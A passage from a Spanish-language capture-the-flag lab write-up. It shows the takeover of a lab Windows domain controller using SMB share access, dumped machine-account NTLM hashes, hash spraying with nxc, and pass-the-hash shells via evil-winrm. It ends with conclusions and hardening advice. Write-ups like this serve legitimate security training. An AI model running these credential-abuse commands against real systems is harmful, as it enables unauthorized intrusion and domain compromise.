smbclient //10.0.2.4/backup -U 'file_svc%Paxx!!'
# Dentro, listar y descargar backup_extract.txt
smb: \> dir
smb: \> get backup_extract.txt
exit
# Ver el contenido
cat backup_extract.txt
WebServer$:2119:aad3b435b51404eeaad3b435b51404ee:c47b45f5d4df5a494bd19f13e14f7902:::
DatabaseServer$:2120:aad3b435b51404eeaad3b435b51404ee:406b424c7b483a42458bf6f545c936f7:::
CitrixServer$:2122:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
FileServer$:2065:aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559:::
MailServer$:2124:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
BackupServer$:2125:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
ApplicationServer$:2126:aad3b435b51404eeaad3b435b51404ee:8cd90ac6cba6dde9d8038b068c17e9f5:::
PrintServer$:2127:aad3b435b51404eeaad3b435b51404ee:b8a38c432ac59ed00b2a373f4f050d28:::
ProxyServer$:2128:aad3b435b51404eeaad3b435b51404ee:4e3f0bb3e5b6e3e662611b1a87988881:::
MonitoringServer$:2129:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
|
Análisis: El archivo contiene hashes NTLM de cuentas de máquinas (ComputerName$), probablemente extraídos de un backup del NTDS.dit.
Separación de Usuarios y Hashes
1
2
| cat backup_extract.txt | awk -F ":" '{print $1}' > usuarios_machine.txt
cat backup_extract.txt | awk -F ":" '{print $4}' > machine_hashes.txt
|
Verificación de Hashes con nxc
1
| nxc smb 10.0.2.4 -u usuarios_machine.txt -H machine_hashes.txt --continue-on-success | grep "[+]"
|
Resultado:
1
| SMB 10.0.2.4 445 DC01 [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
|
Análisis: El flag (Pwn3d!) indica que la cuenta FileServer$ tiene privilegios administrativos en el dominio. Vamos a comprobar las credenciales de winrm y tenemos un sistema accedido (Pwn3d!)
1
2
3
4
5
6
| └─$ nxc winrm 10.0.2.4 -u FileServer$ -H e41da7e79a4c76dbd9cf79d1cb325559
WINRM 10.0.2.4 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:SOUPEDECODE.LOCAL)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.0.2.4 5985 DC01 [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
|
9. Acceso por WinRM
Verificación de WinRM
1
| nxc winrm 10.0.2.4 -u FileServer$ -H e41da7e79a4c76dbd9cf79d1cb325559
|
Resultado:
1
| WINRM 10.0.2.4 5985 DC01 [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
|
Obtención de Shell con evil-winrm
1
| evil-winrm -i 10.0.2.4 -u 'SOUPEDECODE.LOCAL\FileServer$' -H e41da7e79a4c76dbd9cf79d1cb325559
|
Resultado:
1
| *Evil-WinRM* PS C:\Users\FileServer$\Documents>
|
Flag de Administrador
1
| *Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
|
1
| a9564ebc3289b7a14551baf8ad5ec60a
|
10. Resumen de Flags
| Flag | Ruta | Hash |
|---|
| user.txt | C:\Users\ybob317\Desktop\ | 6bab1f09a7403980bfeb4c2b412be47b |
| root.txt | C:\Users\Administrator\Desktop\ | a9564ebc3289b7a14551baf8ad5ec60a |
11. Conclusiones
La intrusión demostró que el dominio SOUPEDECODE.LOCAL presenta múltiples vulnerabilidades que permitieron escalar desde un acceso sin privilegios hasta control total del Domain Controller:
- Enumeración de usuarios a través de RID brute con cuenta Guest
- Password spraying exitoso por política de contraseñas débiles
- Kerberoasting contra cuentas de servicio con SPNs
- Cracking de hash TGS con diccionario común
- Acceso a backup de hashes de cuentas de máquina
- Pass-the-Hash para obtener shell con privilegios de Enterprise Admin
12. Recomendaciones
- Deshabilitar cuenta Guest o restringir sus capacidades de enumeración
- Cambiar contraseñas de todas las cuentas comprometidas:
ybob317file_svcFileServer$
- Revisar políticas de contraseñas implementando requisitos de complejidad
- Auditar cuentas con SPNs y usar contraseñas complejas de 25+ caracteres
Hardening a Largo Plazo
- Implementar Protected Users Group para cuentas administrativas
- Configurar Kerberos pre-autenticación obligatoria para todas las cuentas
- Monitorear eventos 4769 (Kerberoasting) y 4776 (pass-the-hash)
- Restringir acceso a recursos compartidos como
backup con el principio de mínimo privilegio - Implementar LAPS (Local Administrator Password Solution)
